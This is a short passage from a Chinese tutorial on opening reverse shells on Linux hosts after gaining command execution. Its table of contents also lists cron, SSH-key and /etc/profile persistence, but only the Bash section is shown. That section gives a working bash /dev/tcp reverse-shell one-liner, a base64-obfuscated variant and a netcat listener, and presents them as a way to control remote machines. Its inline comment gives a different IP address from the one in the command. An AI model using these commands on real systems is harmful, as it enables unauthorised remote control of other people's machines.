Linux反弹shell

目录

Bash反弹shell

加密bash反弹shell的流量

Python反弹shell

其他命令反弹shell

写入命令到定时任务文件

写入SSH公钥 

写入/etc/profile文件

---

当我们可以在远程Linux主机上执行任意命令或写入任意数据到任意文件的时候，我们通常会通过以下方式控制远程主机。

Bash反弹shell

Linux 反弹 shell 使用下面这条命令，该命令弹回来的shell是不可交互的，也就是比如 vim、passwd 命令不能用

bash -i >& /dev/tcp/192.168.10.27/4444 0>&1   #将shell环境转发到192.168.10.32的4444端口上

也可以如下：
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjI3LzQ0NDQgMD4mMSA=}|{base64,-d}|{bash,-i}

然后客户端用 netcat 进行接收

nc -lvp  4444  #监听4444端口

使用什么样的用户反弹的 shell，还是当前用户的权限。